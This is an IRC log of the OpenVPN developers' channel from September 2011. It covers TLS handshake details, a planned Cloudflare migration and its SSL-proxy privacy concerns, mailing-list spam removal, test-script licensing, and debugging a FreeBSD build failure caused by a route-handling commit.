<@dazo> janjust: ^^ 08:21 * janjust is reading 08:22 <@dazo> (the KEX routine is using asymmetric encryption, which is way slower than symmetric - which is why it is divided like this) 08:22 <+janjust> right... sounds like a "regular" SSL handshake 08:22 <+janjust> so the tls-cipher is NOT used for the control channel after the KEX has completed? 08:23 <@dazo> that's how I understand it 08:24 <@dazo> the only thing OpenVPN does different from "regular SSL" is that it intercepts the encrypted SSL packets and doesn't use the BIO interface directly in OpenSSL ... the BIO interface is strictly TCP only ... so OpenVPN takes the raw SSL and encapsulates it with it's own reliability data, to allow SSL over UDP 08:24 <@dazo> and it adds the HMAC on top of all this, iirc 08:26 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Remote host closed the connection] 08:26 <@dazo> (reliability data == packet sequence number, packet retransmit detection and so on) 08:26 <+janjust> ok; if openvpn does the encaps itself then the elliptic curve stuff won't do much... 08:26 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 08:27 <+janjust> you can't specify a "raw" ecdsa-with-SHA512 cipher (only ecdsa-with-SHA1 is supported) 08:28 <@dazo> I've not dug into the EC stuff myself, so I am not exactly sure how that differs from non-EC or how that really changes things 08:29 <@dazo> all I know is that it uses some clever elliptic curves in the algorithms to make the encryption and authentication somewhat stronger 08:32 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Read error: Connection reset by peer] 08:33 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 08:35 <+janjust> EC stuff is non-symmetric only ; normally you use EC stuff mostly for hashing/signing algorithms 08:36 <+janjust> most code I've seen adds EC stuff to the SHA* algorithms, and encryption is done using AES128/ES256 ; the keying material (epheremal keys, I presume) for the AES routines are derived from the EC data 08:48 <@dazo> hmm 08:49 <@dazo> Right now I just got uncertain if the intercepted SSL data also got an HMAC or not 08:56 <+janjust> AFAIK the data channel has an HMAC 09:08 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:19 -!- dazo is now known as dazo_afk 12:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:23 <@raidz> Hey mattock and ecrist 12:23 <@mattock> hi 12:23 <@raidz> so We are going to be moving openvpn.net to cloudflare 12:23 <+ecrist> SUP 12:23 <@raidz> we are still a week away from doing this 12:23 <@raidz> or two 12:23 <@raidz> I am getting dns figured out right now 12:23 <@raidz> but 12:24 <@raidz> You guys are going to need to install an apache module on all servers sitting behind openvpn.net 12:24 <@mattock> on that domain you mean? 12:24 <@raidz> yep 12:24 <@raidz> so like forums.openvpn.net 12:24 <@raidz> etc 12:24 <@raidz> eommunity 12:24 <@raidz> *community 12:24 <@raidz> anything running apache etc 12:25 <@mattock> not for *.openvpn.org i presume? 12:25 <@raidz> yes, anything behind openvpn.org as well 12:25 <@mattock> do things break if I/we don't? 12:26 <@raidz> nope 12:26 <@raidz> but you won't see the visitors real ip 12:26 <+ecrist> an apache module? 12:26 <+ecrist> hrm 12:26 <@raidz> http://www.cloudflare.com/wiki/Log_Files 12:26 <@vpnHelper> Title: Performance, Security & Apps for Any Website | CloudFlare | Wiki (at www.cloudflare.com) 12:26 <@raidz> yup 12:26 <@mattock> ok, good, I might not be around when that happens 12:27 <@raidz> Oh yeah, you are heading out to Italy, lucky! 12:27 <@raidz> I am doing some work on openvpn.net right now 12:27 <@raidz> will probably be rebulding the openvpn.net servers this week 12:27 <@raidz> and then next week we will do the move 12:28 <@raidz> you can install those modules now, before we do the move as they shouldn't mess with anything beforehand 12:28 <@raidz> *the module 12:29 <@mattock> ok, I'll take a look tomorrow 12:29 <+ecrist> thanks, raidz, re: twitter 12:29 <@raidz> np ;-) 12:29 <@raidz> thanks mattock 12:29 <@mattock> np! 12:29 <@raidz> ecrist, the install is pretty straightforward, you are in charge of the forums so I will let you install that module 12:30 <+ecrist> sure 12:30 <+ecrist> it's not in ports, but I'll get it done. 12:30 <+ecrist> not sure how I feel about proxying SSL traffic through a third party, though. 12:30 <@mattock> I'll take care of build and community 12:30 <@raidz> awesome, thanks! Pageloads should be much faster after this, and it will help protect against ddoss and sql injections, xss attacks etc 12:31 <@raidz> ecrist we will be using a ca through cloudflare 12:31 <@raidz> we will have a signed cert sitting on their servers 12:32 <+ecrist> right, which means they decrypt all the traffic, and can see the raw streams 12:32 <+ecrist> not sure how our user base is going to feel about that 12:32 <@raidz> we also have a cert sitting on our servers as well 12:32 <@raidz> I can ask them about that and see what they say 12:33 <+ecrist> I'm sure they'll say, "we'd never do anything wrong with your traffic" 12:33 <@raidz> I can also not forward forum traffic through them if you guys prefer that 12:34 <@raidz> so they would just be acting as a dns server instead of a cdn for forums.openvpn.net 12:37 <+ecrist> hrm 12:38 <+ecrist> CloudFlare is registered in Deleware and is registered to 'The Corporation Trust Company' 12:39 <+ecrist> http://en.wikipedia.org/wiki/CT_(company) 12:41 <@mattock> perhaps using the caching only for non-ssl stuff makes most sense? 12:41 <+ecrist> that's what I'm thinking 12:41 <+ecrist> what you guys do with corp site isn't my business, but I think I'd be more comfortable if we kept the ssl community stuff out of their network. 12:43 <@raidz> mattock, ecrist that works 12:47 <+ecrist> I'll get the apache module installed some time this week. 12:55 <+ecrist> ok, built/installed 12:55 <+ecrist> apache restarted 12:55 <+ecrist> mattock, is pf handled through puppet? 12:56 <+krzie> ecrist, <aol voice> you've got mail 12:56 <+ecrist> krzie: already read it 12:56 <+ecrist> still don't want to do it. ;) 12:56 <+krzie> cool =] 13:01 <+ecrist> raidz: just to be sure, I've put in place a firewall rule that prohibits connections to ports 443 and 22 from cloudflare 13:01 <@mattock> ecrist: re: pf: no, puppet is not used at all on forums 13:01 <+ecrist> their CDN netblock, anyhow. 13:02 <+ecrist> pass in on {$ipv4_if,$ipv6_if} proto tcp from !204.93.173.0/24 to port $secure_public_services 13:05 <@raidz> ecrist: np ;-) 13:07 <@mattock> raidz: I'll configure build to use cloudflare, there's nothing sensitive/non public traffic there 13:07 <@raidz> mattock: sounds good! 13:44 <@cron2> raidz: does cloudflare have IPv6? 13:45 <@cron2> moving to a hoster that is IPv4-only would be a major step backwards 13:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 13:48 <@cron2> ok, seems they do... 13:51 <@cron2> ... or maybe not... their knowledge base articles are a bit unclear, and their own web site does not have IPv6... 14:26 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:38 <+ecrist> that would be a HUGE step backwards 14:39 <+ecrist> http://blog.cloudflare.com/new-ips-new-year-big-stuff-to-come 14:39 <@vpnHelper> Title: New IPs + New Year = Big Stuff to Come! - CloudFlare's blog (at blog.cloudflare.com) 14:40 <+ecrist> on their blog from eariler this year, they claim it's coming in the future. 14:40 * ecrist votes 'no' for cloudflare 14:56 <@raidz> cron2: ecrist we can create specific records for ipv6 that are not sent through cloudflare, we are still hosting everything on our servers, cloudflare just caches images, css etc in their datacenters so they load quicker 19:13 <@uuuppz> :) --- Day changed Tue Sep 13 2011 02:54 -!- dazo_afk is now known as dazo 02:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:05 <@dazo> How does cloudfare tackle SSL traffic? 06:30 <@mattock> apparently it acts as an SSL proxy... but it's not mandatory to do that, it's optional 06:31 <@mattock> I think it makes sense for download sites such as openvpn.net and build.openvpn.net, but not much else 06:36 <@d12fk> oh boy, I think the idea to have an import lib instead ob the macros is firing back 06:37 <@d12fk> w64 has no stdcall, so there needs to be a separate implib for 32 and 64 bit windows 06:37 <@d12fk> really go there? 06:57 <@d12fk> on second thought we could just sed(1) the @ annotations away on 62bit builds 06:58 <@d12fk> +2 =) 07:06 <+ecrist> dazo: they can play man-in-the-middle with our ssl traffic 07:07 <@dazo> that's what I feared .... :-/ 07:08 <@d12fk> who? iran? 07:08 <@d12fk> scnr 07:13 <@dazo> heh 07:13 <@dazo> well, considering the DigiNOTar incident ... that's not unlikely any more 07:14 <+ecrist> that's why I do self-signed certs 07:14 <+ecrist> the whol SSL structure, as implemented now, is retarded in my opinion 07:14 <@dazo> mm 07:14 <+ecrist> we're asked to 'trust' people we've never met, simply because some browser developer says we should 07:15 <@dazo> Well, in the very beginning, you had to actually provide more documents to CAs to get signed certs ... but that was obviously not giving enough profit 09:53 <@d12fk> umm 09:54 <@d12fk> whats the best way to check if _WIN64 is defined in autoconf 09:54 <@d12fk> compile something that compiles only if _WIN64 is defined or are there better ways? 10:19 <@mattock> any clues about Krashan's inet_ntop issue? 10:19 <@d12fk> nope 10:26 <@d12fk> there is no inet_ntop in openvpn-gui 10:28 <@d12fk> mattock: which gui did you use? 10:28 <@d12fk> mine? 10:29 <@d12fk> did you link against openssl that uses it maybe? 10:34 <@d12fk> openvpn has a declarartion in win32.h tho 10:34 <@d12fk> and that one differs from the one in windows 10:34 <@d12fk> lacking the wsaapi 10:35 <@d12fk> probably leads to stdcall calling convention and could explain why it doesn't find it in the dll 10:37 <@d12fk> commit 49a945ea JuanJo Ciarlante 10:38 <@d12fk> wonder why he not just included ws2tcpip.h 10:39 <@d12fk> to the user it seems the gui is displaying the popup, but really it's the loader triggered by openvpn which in turn is started from the gui 10:40 <@d12fk> everything clear? 10:40 <@d12fk> inet_pton needs to be removed from thar as well btw 10:44 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:07 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:07 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:26 -!- dazo is now known as dazo_afk 11:30 <@mattock> d12fk: your gui, yes 11:45 <@d12fk> mattock: just sent the import lib patch please queue it for thursday 12:06 <@mattock> d12fk: I might not make it on Thursday, not sure 12:06 <@mattock> but I can setup the agenda tomorrow 17:26 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 240 seconds] 18:18 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 18:20 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:22 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 20:24 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed Sep 14 2011 00:01 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 00:04 -!- Netsplit *.net <-> *.split quits: @mattock, +krzie, @vpnHelper, +krzee, chantra 00:06 -!- Netsplit over, joins: +krzie, @mattock, +krzee, @vpnHelper, chantra 00:22 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 00:33 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 01:43 -!- dazo_afk is now known as dazo 03:19 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 05:17 <@dazo> mattock: can you please make sure sellerscvv2@gmail.com gets deleted from the -devel ML? I don't trust that mailer 08:02 -!- mtylty [~mtylty@wifi-dev.caspur.it] has joined #openvpn-devel 08:02 < mtylty> hi 08:03 < mtylty> somebody knows what MULTI_ROUTE_AGEABLE exactly is meant for? 08:05 < mtylty> is there a way to mark internal routes as stale? 08:11 <@dazo> mtylty: I doubt anyone of us here now can answer this one. Could you please ask this on the openvpn-devel mailing list? There are more people who might know this, and if not, it's easier to get James Yonan to answer such question this way 08:11 <@dazo> (not promising any quick answer, but the odds are higher on the ML) 08:12 < mtylty> ok 08:12 < mtylty> thanks! 08:12 <@dazo> sure, you're welcome :) 08:46 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:49 <@mattock> dazo: ok 08:52 -!- mtylty [~mtylty@wifi-dev.caspur.it] has left #openvpn-devel [] 08:55 <@mattock> dazo: unsubscribed him 08:55 <@dazo> mattock: thx! 08:55 <+ecrist> who? 08:55 <@mattock> if he comes back, I can block him... but he'd probably use another email 08:56 <@dazo> that mail address + question "can you get me openvpn" ... doesn't make sense, esp. to a -deveel mailing list 08:56 <@mattock> btw. I'll publish the performance testing (or rather, deployment) scripts today 08:56 <@dazo> ecrist: sellerscvv2@gmail.com 08:56 <+ecrist> from -devel? 08:57 <@dazo> (cvv2 is visa/master card code on the back of your cards) 08:57 <@dazo> yeah 08:57 <+ecrist> ah, heh 08:57 <@mattock> so, the idea is that with those scripts, it's possible to create a bunch (hundreds, even) of VMs to Amazon EC2 which 08:57 <@mattock> can be configured as OpenVPN clients connecting to a server 08:57 <@dazo> ecrist: http://thread.gmane.org/gmane.network.openvpn.devel/4988 08:58 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:58 <@mattock> all at one time or in whatever way we want 08:58 <@dazo> mattock: that sounds cool 08:58 <+ecrist> thanks, dazo, I'm a subscriber, just wasn't sure which you were talking about. 08:58 <@mattock> and replacing EC2 with another provider is easy 08:58 <+ecrist> :) 08:58 <@dazo> :) 08:59 <@mattock> so, we / somebody else could use the scripts to deploy test VMs locally, provided there's a provider class put activated 08:59 <@mattock> VMs into a queue 08:59 <@mattock> I'll write a readme and package the stuff and put it on a Trac page (for now) 08:59 <+ecrist> I still have that ESXi box you guys never started using... 09:00 <@mattock> ecrist: yeah, I know, I've been busy doing "other stuff" :P 09:00 <+ecrist> :) 09:00 <@mattock> I will use it when the time (=2.3 alpha ->) comes 09:01 <@mattock> if you guys got any good ideas for performance tests, please put them to the Trac page once it's up 09:06 <@mattock> dazo: could I put my deployment app git repo to a HTTP server and be done with it? 09:06 <@mattock> can Git download it from there? 09:21 <@dazo> mattock: yes, that's doable 09:21 <@mattock> just publish the entire directory? 09:21 <@mattock> or is there an easy way to get rid of unmanaged files before doing that? E.g. *.pyc? 09:21 <@dazo> you can push the git repository like normal, just pointing it to a directory the web server uses 09:22 <@dazo> (basically, just a copy of the local .git dir) 09:22 <@dazo> git remote add webserver ssh://....... 09:22 <@dazo> git push webserver master 09:22 <@dazo> (or another branch instead of master, if you want) 09:23 <@mattock> ah, ok 09:23 <@mattock> I'll try that, makes sense 09:23 <@mattock> thanks! 09:24 <@dazo> mattock: but when you've pushed stuff ... you need to run 'git update-server-info' on the web server 09:24 <@dazo> (inside the git dir) 09:24 <@mattock> ok 09:24 <@mattock> I'm wondering if this is an overkill... or if I should just generate a tarball and attach it to Trac 09:24 <@mattock> then again, Git makes contributing tests and fixes easier 09:25 <@dazo> please push it somewhere ... it's way easier to work with that 09:35 <@mattock> yep 09:35 <@mattock> which license? BSD or GPL? :D 10:06 * ecrist always suggests BSD 10:10 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 240 seconds] 10:20 <@mattock> given the nature of this app, it's either BSD or very strict copyleft such as AGPL 10:20 <@mattock> I think BSD is fine 10:20 <@mattock> ecrist: 2-clause? 10:54 -!- dazo is now known as dazo_afk 11:00 <+ecrist> 2-clause? 11:01 <@mattock> http://www.opensource.org/licenses/bsd-license.php 11:01 <@vpnHelper> Title: Open Source Initiative OSI - The BSD License:Licensing | Open Source Initiative (at www.opensource.org) 11:02 <@mattock> FreeBSD is using this one: http://www.opensource.org/licenses/BSD-2-Clause 11:02 <@vpnHelper> Title: Open Source Initiative OSI - The BSD License:Licensing | Open Source Initiative (at www.opensource.org) 11:02 <@mattock> good enough for me I guess 11:13 <@mattock> who could make it to the meeting tomorrow? 11:14 <@mattock> s/could/can/1 11:25 <@mattock> https://community.openvpn.net/openvpn/wiki/PerformanceTesting 11:25 <@vpnHelper> Title: PerformanceTesting – OpenVPN Community (at community.openvpn.net) 11:26 <@mattock> please expand the page if you get any novel ways to stress OpenVPN (server) in the most mean fashion possible :) 11:26 <@mattock> most mean = meanest :P 11:26 <@mattock> I'll extend that page myself if I have some time in italy 11:34 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-09-14 11:34 <@vpnHelper> Title: Topics-2011-09-14 – OpenVPN Community (at community.openvpn.net) 11:34 <@mattock> I'll have internet connectivity around 16:00 UTC tomorrow, if I'm lucky 11:35 <@mattock> however, if there are people coming to the meeting, I'd appreciate if somebody else could announce it today/tomorrow 11:35 <+krzie> i be with 2 girls at that time if im really lucky! 11:35 <+krzie> lol 11:35 <@mattock> krzie: "be with" meaning what? :P 11:36 <+krzie> i bet ecrist knows! 11:36 * krzie elbow nudges ecrist 11:37 <+krzie> ill be aroung tomorrow, from work so not 100% attention unless its slow, but ill be here 11:37 <+krzie> around* 11:38 <@mattock> openssl was updated on all community servers (except forums)... so, if there are any latent problems with authentication or something, 11:38 <@mattock> that's the cause 11:38 <@mattock> if that happens, openvpn restart should fix it 11:38 <@mattock> I'll monitor the situation today 11:40 <+ecrist> ? 11:40 <+ecrist> oh, heh, I know. 11:41 <+krzie> :-D 11:41 <+krzie> although ild need to be REALLY lucky since im working at that time 11:42 <@d12fk> easy. krzie's wife is giving birth to his daughter but he'll have his tablet with him in the hospital *yawn* =) 11:43 <@d12fk> mattock: i'll be there if the peer pressure is managable 11:43 <+krzie> sed -e 's/wife/maid/' -e 's/daughter/sandwich/' -e 's/hospital/kitchen/' 11:43 <@mattock> d12fk: you mean peer pressure from us, or from somebody else? :P 11:44 <@d12fk> mattock: it's a female peer =) 11:44 <@d12fk> krzie: lol 11:44 <@mattock> ah, did not read properly, my bad :) 12:08 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:09 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:44 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:03 -!- Netsplit *.net <-> *.split quits: @mattock, @raidz, @vpnHelper, EvilJStoker, +krzee, chantra 15:03 -!- Netsplit *.net <-> *.split quits: @uuuppz, @d12fk, @dazo_afk, @cron2, jamxNL, equinox 15:04 -!- Netsplit over, joins: @raidz, EvilJStoker, @cron2, equinox, @uuuppz, @d12fk, @dazo_afk, jamxNL, @mattock, +krzee (+2 more) 15:15 -!- Netsplit *.net <-> *.split quits: @d12fk, @dazo_afk, jamxNL, equinox 15:16 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 15:16 -!- Netsplit over, joins: d12fk 15:19 -!- Netsplit *.net <-> *.split quits: @uuuppz, @cron2 15:19 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:20 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:21 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 15:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 16:12 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 18:30 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:23 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] --- Day changed Thu Sep 15 2011 02:11 -!- dazo_afk is now known as dazo 07:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:39 <@cron2> argh 09:11 <+ecrist> ping dazo/someone 09:11 <@dazo> ecrist: pong 09:11 <+ecrist> latest snapshot from this past sunday doesn't compile on freebsd 09:12 <+ecrist> http://pastebin.com/F8rd6136 09:12 * dazo looks 09:12 <@dazo> ecrist: what's the ./configure line? 09:13 <+ecrist> $ ./configure --with-lzo-lib=/usr/local/lib --with-lzo-headers=/usr/local/include --disable-depr-random-resolv --enable-password-save --disable-pkcs11 --prefix=/usr/local --mandir=/usr/local/man --infodir=/usr/local/info/ --build=amd64-portbld-freebsd9.0 09:15 * dazo curses james yonans patch! 09:15 <@dazo> This looks like the offending patch: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7fb0e07ec3f7c5f6514523085dbe02ea6b8933e2 09:15 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 09:16 <@dazo> james have changed r.defined to flags ... and not done that change on all platforms 09:17 <@dazo> ecrist: would you mind mailing james about this one, and Cc: the devel list? 09:18 <+ecrist> what do you want me to say? 09:18 <+ecrist> Dear James, fix yo shit. Sincerely, Me. 09:18 <@dazo> yeah, and point at this commit 09:18 <+ecrist> ok 09:19 <@dazo> Give the configure line, say it's FreeBSD ... and that r.defined does not exist any more because of commit 7fb0e07ec3f7c5f65 09:22 <+ecrist> sent 09:22 -!- Irssi: #openvpn-devel: Total of 10 nicks [6 ops, 0 halfops, 2 voices, 2 normal] 09:22 <@dazo> thx! 09:25 <+ecrist> dazo: see pm, pls 09:42 <@cron2> dazo: gaaaaaaaaah 09:42 * cron2 noticed that not all of the new functionality has been done for all the platforms, but that some are actually *broken* is... gaaaah 09:42 <@dazo> yeah :/ 09:43 * dazo is not happy 09:43 <@cron2> we need our buildslaves back 09:43 <@cron2> building on all supported platforms *and* running tests... 09:43 <+ecrist> um, I have a machine, on my network, running ESXi 09:43 <+ecrist> nobody is using... 09:44 <@cron2> ecrist: you mentioned that, and this is cool. I have no idea about that buildslave setup and what is needed, mattock is da man. 09:44 <@dazo> ecrist: can you try to figure out how to setup that as a build slave to the buildmaster mattock has set up? That one triggers builds whenever I pushes stuff to the git repo 09:44 <@cron2> +1 09:45 <@cron2> (there's info in the openvpn wiki regarding buildslaves, but I've never tried it so I'm not sure how feature-complete it is) 09:45 <+ecrist> I'll work with mattock sometime soon. 09:46 <+ecrist> I *do* still need to get the parent node setup so it's on the vpn and accessible 09:48 * cron2 plans to grab one of our corp development ESXis and put an OpenBSD and OpenSolaris VM on that one 09:49 <@cron2> (but no promises yet) 09:49 <+ecrist> cron2: neat. fwiw, any of the openvpn devs are welcome to use this esxi host 09:50 <+ecrist> there will be no public IPs aside from the hosts' interface, and the parent node, which will be freebsd 09:50 <+ecrist> only available ont he vpn 09:50 <@cron2> ecrist: I'd need something that can run client side openvpn for "t_client" test runs 09:51 <+ecrist> you can install anything you want. 09:51 <@cron2> ecrist: so it has private IP, but natted on the freebsd "parent"? That should do, I think 09:51 <+ecrist> yeah, that's how it's configured 09:52 <+ecrist> point me to an ISO, I'll download it and make it available 10:18 <@cron2> ecrist: thanks for that. Right now, I have more pressing things to work on, but that will be important before we start the beta cycle 10:44 -!- dazo is now known as dazo_afk 10:52 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:39 <@d12fk> will there be a meeting tonight 11:39 <@d12fk> without mattock and an announcement around i doubt it. anyone with me? 12:33 * ecrist agrees 12:35 <+krzee> +1 12:39 -!- dazo_afk is now known as dazo 12:42 <@dazo> d12fk: it was uncertain if mattock would have Internet this evening, and he prepared an agenda and hoped someone would take lead ... he might have hoped that I would take that lead, but I've not had capacity of that so far today 12:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:50 <@mattock> hi 12:50 <@dazo> hey! 12:50 <@mattock> are we having a meeting today? 12:51 <@mattock> just arrived in Salerno 12:51 <@dazo> tbh ... I dunno .... I've not had time to think about if or not ... I'm just here now, just in case 12:51 <@dazo> but! 12:51 <@dazo> if James shows up ... we could try to check out an issue ecrist found today .... master not compiling on FreeBSD 12:52 <@mattock> there's also the topic page here: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-14 12:52 <@vpnHelper> Title: Topics-2011-09-14 – OpenVPN Community (at community.openvpn.net) 12:52 <@mattock> actually, the date is wrong 12:53 <@mattock> but topics are not 12:53 <@dazo> heh 12:53 <@mattock> dazo: any pointers to the master build issue? 12:55 <@dazo> mattock: http://thread.gmane.org/gmane.network.openvpn.devel/4993 12:55 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:01 <@mattock> mailed James 13:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:03 <@jamesyonan> Hi 13:03 <@dazo> Hey! 13:04 <@mattock> topic page updated: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-14 13:04 <@vpnHelper> Title: Topics-2011-09-14 – OpenVPN Community (at community.openvpn.net) 13:04 <@mattock> which topic first? 13:04 <@dazo> d12fk: d457k: Are you around? 13:08 <@mattock> page renamed: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-15 13:08 <@vpnHelper> Title: Topics-2011-09-15 – OpenVPN Community (at community.openvpn.net) 13:09 <@mattock> maybe we could start with http://thread.gmane.org/gmane.network.openvpn.devel/4993 ? 13:09 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:09 <@dazo> makes sense 13:09 <@mattock> ecrist: are you around? 13:09 <@dazo> I know a little bit about that issue as well 13:09 <@dazo> This is the compile error he got: http://pastebin.com/F8rd6136 13:10 <@dazo> and it turns out to be the commit 7fb0e07ec3f7c5f65 which is a prime candidate as suspect 13:10 <+ecrist> I'm here 13:11 <@dazo> that's the rediect-gateway block-local feature 13:11 <@mattock> hi ecrist! 13:14 <@mattock> dazo, jamesyonan: any ideas how to fix this? 13:15 <@dazo> the fix itself is basically to do the same changes to the OSX/DARWIN and BSD platforms as has been done on the other platforms ... not sure if there are even more platforms suffering from this 13:15 <@mattock> ah, so they were just "left behind" 13:15 <@dazo> yupp, exactly 13:16 <@dazo> well, that's my impression after having looked at that commit and seeing ecrist's error 13:20 <@mattock> is the fix straightforward enough to be "just fixed" without further discussion? 13:21 <@dazo> well, it's difficult for me to say ... that initial commit is pretty big, and it changes a lot of the logic ... so at first glance, it doesn't look like a simple trivial fix ... but for all I know, it might be 13:22 <@mattock> jamesyonan: any ideas? 13:24 <@jamesyonan> so is the issue that FreeBSD is using the old add_route prototype 13:24 <@dazo> yes 13:25 <@jamesyonan> one sec, I'm looking at the code now... 13:27 <@jamesyonan> probably just change to: add_route (&r, tt, 0, NULL, es); 13:27 <@jamesyonan> the const struct route_gateway_info * parm may be NULL 13:28 <@mattock> ecrist: can you try that out? 13:28 <+ecrist> what am I changing? 13:29 <@dazo> I think that's the syntax used other places as well ... and there is the change of r.defined moving over to r.flags too 13:29 <@dazo> it would probably be better to offer ecrist a patch ... it'll be more changes 13:29 <+ecrist> i agree 13:30 <@mattock> ah, ok 13:32 <@mattock> who'll write the patch? 13:33 <@dazo> I wouldn't mind doing it ... but I have too much to do, and needs BSD boxes to test on ... so it can't happen soonish .... :/ 13:35 <@mattock> jamesyonan: do you have some time to write the patch? 13:35 <@mattock> e.g. during 13:35 <@mattock> the meeting 13:35 <@jamesyonan> I don't generally use FreeBSD 13:36 <@mattock> ecrist could probably do the testing? 13:36 <@mattock> if you guys have good hunch what's causing this 13:37 <+ecrist> I don't mind at all 13:37 <+ecrist> I even have a freebsd box I'll make available. 13:37 <@mattock> that'd be nice 13:38 <@jamesyonan> it might work to just copy/paste the OS X code, since that code is known to work, and OS X is also a BSD 13:38 <+ecrist> well, os x shares a lot of userland, but has a different kernel 13:39 <@dazo> well, this is basically userland related 13:39 <@mattock> ecrist: can you try that first? 13:40 <+ecrist> no idea what I'm trying, but sure. 13:40 <+ecrist> :) 13:40 <@mattock> don't hesitate to ask for help ;) 13:40 <@mattock> I would have a clear idea myself either yet 13:40 <@mattock> would not 13:41 <@mattock> maybe move to next topic? 13:41 <@dazo> jamesyonan: if you look at tun.c:1064 ... that's inside the TARGET_DARWIN block which is used on OSX; right? 13:41 <@dazo> that line says: 13:41 <@dazo> r.defined = true; 13:42 <@dazo> and I don't see a 'defined' member being declared in route.h 13:42 <@dazo> in the 'struct route' struct 13:43 <@dazo> I don't understand how this can compile on OSX .... 13:43 <@dazo> (me is using the latest master branch) 13:44 <@jamesyonan> basically r.defined doesn't exist any more -- it's now a bit flag RT_DEFINED set in r.flags 13:44 <@dazo> exactly ... so I'm just wondering what's missing in our tree, if this compiles for you on OSX 13:45 <@jamesyonan> I've only built 2.1 branch on OSX 13:45 <@jamesyonan> but 2.1 branch absolutely compiles on OSX 13:46 <@dazo> okay, I'll check that branch 13:46 <@mattock> ecrist: you got OSX where you could tesr bulding "master"? 13:47 <@mattock> test 13:48 <@mattock> to see if it's missing something that's in james' 2.1 13:48 <@dazo> wooow .... those two tun.c files looks quite different ... seems the big nasty merge has failed on this point 13:48 <@dazo> the BSD parts are the same, but not the OSX 13:50 <@mattock> any other differences? 13:50 <@dazo> I've not diffed them yet ... just going through do_ifconfig() now 13:51 <+ecrist> how about, I just wait until you smart people figure it out? :) 13:52 <@dazo> heh 13:54 <@dazo> TARGET_SOLARIS is slightly different (not considering IPv6 support and proper tun/subnet support - which is community patches) 13:54 <@dazo> actually, the TARGET_SOLARIS difference most likely due to the tun/subnet patch 13:57 <@dazo> TARGET_NETBSD is very different, but that's most likely due to some bug fixes as well 13:57 <@mattock> does this mean we need to take closer look before fixing the FreeBSD build issue? 14:00 <@dazo> I'm going through now ... it's not too bad ... I might have a patch in a few mintues 14:02 <@mattock> great! 14:04 <@mattock> jamesyonan: can you take a look at d12fk's fixed mingw patch: http://sourceforge.net/mailarchive/forum.php?thread_name=1315932286-6992-1-git-send-email-heiko.hund%40sophos.com&forum_name=openvpn-devel 14:04 <@vpnHelper> Title: SourceForge.net: 